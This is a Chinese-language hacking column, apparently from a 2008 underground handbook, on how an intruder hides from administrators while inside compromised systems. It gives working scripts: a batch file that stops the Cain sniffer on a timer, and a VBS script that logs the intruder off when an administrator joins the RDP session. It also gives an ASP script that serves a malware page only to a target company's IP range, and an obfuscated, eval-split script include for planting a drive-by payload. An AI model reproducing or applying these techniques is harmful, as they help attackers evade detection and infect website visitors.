我在***過程中注意到的細節之三

作者:lcx
來源:vbs小鋪
《***手冊200803》
我在***過程中注意到的細節之三
lcx
前兩期中的專欄中,針對細節***這一專題,我分別寫了我在內網和注入中注意到的一些細節。其實***過程中,有時候難免會與管理員面對面,如何更好的隱蔽自己也是很重要的,一旦不注意,***工作往往前功盡棄。這期專欄中,我就如何隱蔽自己所做的一些工作,所注意到的細節來寫一下。

先來說一下嗅探吧。大家常用的工具是cain,用法大家都會了。但是cain在嗅探過程中,如果遇到流量較大的目標機,往往會把裝cain的主機搞死,從而引起管理員的注意。像有的時候,嗅了一陣後,就會把3389搞死。我也沒有更好的辦法,只能讓cain嗅一段時間後停止,再重新開始。如果每次都是手工去停止cain,有時候時間掌握的不及時,3389已經死掉了。其實解決這個問題很簡單,一個簡單的批處理腳本就可以了。腳本內容如下:

ping 127.0.0.1 -n 5000>nul
taskkill /F /PID 4144

上邊批處理腳本中,5000是秒數,用來控制cain的嗅探時間。4144是cain的進程數,可以自己用tasklist查一下就知道了。這樣一來,你可以放心在嗅探這段時間內去做別的事了。
再來呢,用cain嗅探一般會在3389上,這時候如果碰到管理員登陸3389也不太好辦,我的好友Netpatch寫過一個終端監視腳本,一旦發現有兩人同時登陸終端的話就註銷自己。腳本內容如下:

on error resume next
set arg=wscript.arguments
If arg.count=0 then
wscript.echo “use:// cscript.exe FS.vbs port”
sleep 1000
wscript.quit
End If
Tport=arg(0)
Runs=false
While runs=false
Dim oShell,oExec,strOut,oRegExp,Matches,Match,Num,Tport
Set oShell = WScript.CreateObject(”WScript.Shell”)
Set oExec = oShell.Exec(”netstat -an”)
Set oregExp = new RegExp
oRegExp.Pattern = “TCP[\s]+[\d\.]+:”&Tport&”[\s]+[\d\.]+:[\d]+[\s]+ESTABLISHED”
oRegExp.IgnoreCase = True
oRegExp.Global = True
Do While Not oExec.StdOut.AtEndOfStream
strOut = strOut & oExec.StdOut.ReadLine() & Chr(13) & Chr(10)
Loop
Set Matches = oregExp.Execute(strOut)
Num = 0
For Each Match In Matches
Num = Num + 1
Next
if num > 1 then
Runs=true
oShell.run “logoff”
end if
Set Matches = Nothing
Set oregExp = Nothing
Set oExec = Nothing
Set oShell = Nothing
wend

用此腳本,登陸終端時打開就可以了,這也是一個比較好的隱藏自己的辦法。
最後來說一下掛馬。掛馬的隱蔽方法也有很多,以前黑手上講過幾期。如果只是盲目的掛馬多搞幾臺肉雞的話,那個隨便你了。但是有時候我們***了一個公司的 web站,目標卻是他們的內網。這時候你掛馬可能會掛出太多的無用機器,如果你知他們公司內網出口的IP段的話,我們可以限制一下IP段使其更有針對性。這個asp腳本如下:
<%
”獲取訪問者的地址
ip=Request.ServerVariables(”REMOTE_ADDR”)
‘允許的IP地址段爲
allowip1=”221.221.221.1″
allowip2=”221.221.221.254″
if checkip(ip,allowip1,allowip2)=true then
response.write “你掛馬的頁面”
end if
function checkip(ip,allowip1,allowip2)
dim check(4)
checkip=false
ipstr=split(ip,”.”)
allow1=split(allowip1,”.”)
allow2=split(allowip2,”.”)
if cint(allow1(0))>cint(allow2(0)) then ”判斷IP地址段是否合法
response.write “禁止訪問”
exit function
end if
for i=0 to ubound(ipstr)
if cint(allow1(i))<cint(allow2(i)) then
if cint(allow1(i))=cint(ipstr(i)) then
check(i)=true
checkip=true
exit for
else
if cint(ipstr(i))<cint(allow2(i)) then
exit for
else
if cint(ipstr(i))>cint(allow2(i)) then
check(i)=false
checkip=false
exit for
else
check(i)=true
checkip=true
end if
end if
end if
else
if cint(allow1(i))>cint(ipstr(i)) or cint(allow1(i))<cint(ipstr(i)) then
check(i)=false
checkip=false
if i<>ubound(ipstr) then
exit for
end if
else
check(i)=true
end if
end if
next
if (check(0)=true and check(1)=true and check(2)=true and check(3)=false) and (cint(allow2(2))>cint(ipstr(2))) then
checkip=true
end if
end function
%>
這個腳本也許考慮得不太周到,但是我覺得足夠用了。掛馬的隱蔽方法也有很多,我最常用的是代碼分隔法。記得劍心有篇文章,提到過最短的跨站方法,我們也可以用這種方法來掛馬的。好比常規掛馬語句<script src=http://www.110.cn/1.js></script>拆分一下轉換爲:

<script>z=’document.’</script>
<script>z=z+’write(”‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.110′</script>
<script>z=z+’.cn/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval(z)</script>

這樣轉換的好處是上邊的每一行可以分開插入在同一頁面不同行中,這樣一來就會隱蔽一點了。當然如何更好的隱蔽自己有很多不同的辦法,各人各有巧妙不同。這篇文章只是拋磚引玉,能引起大家的思考我就心滿意足了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章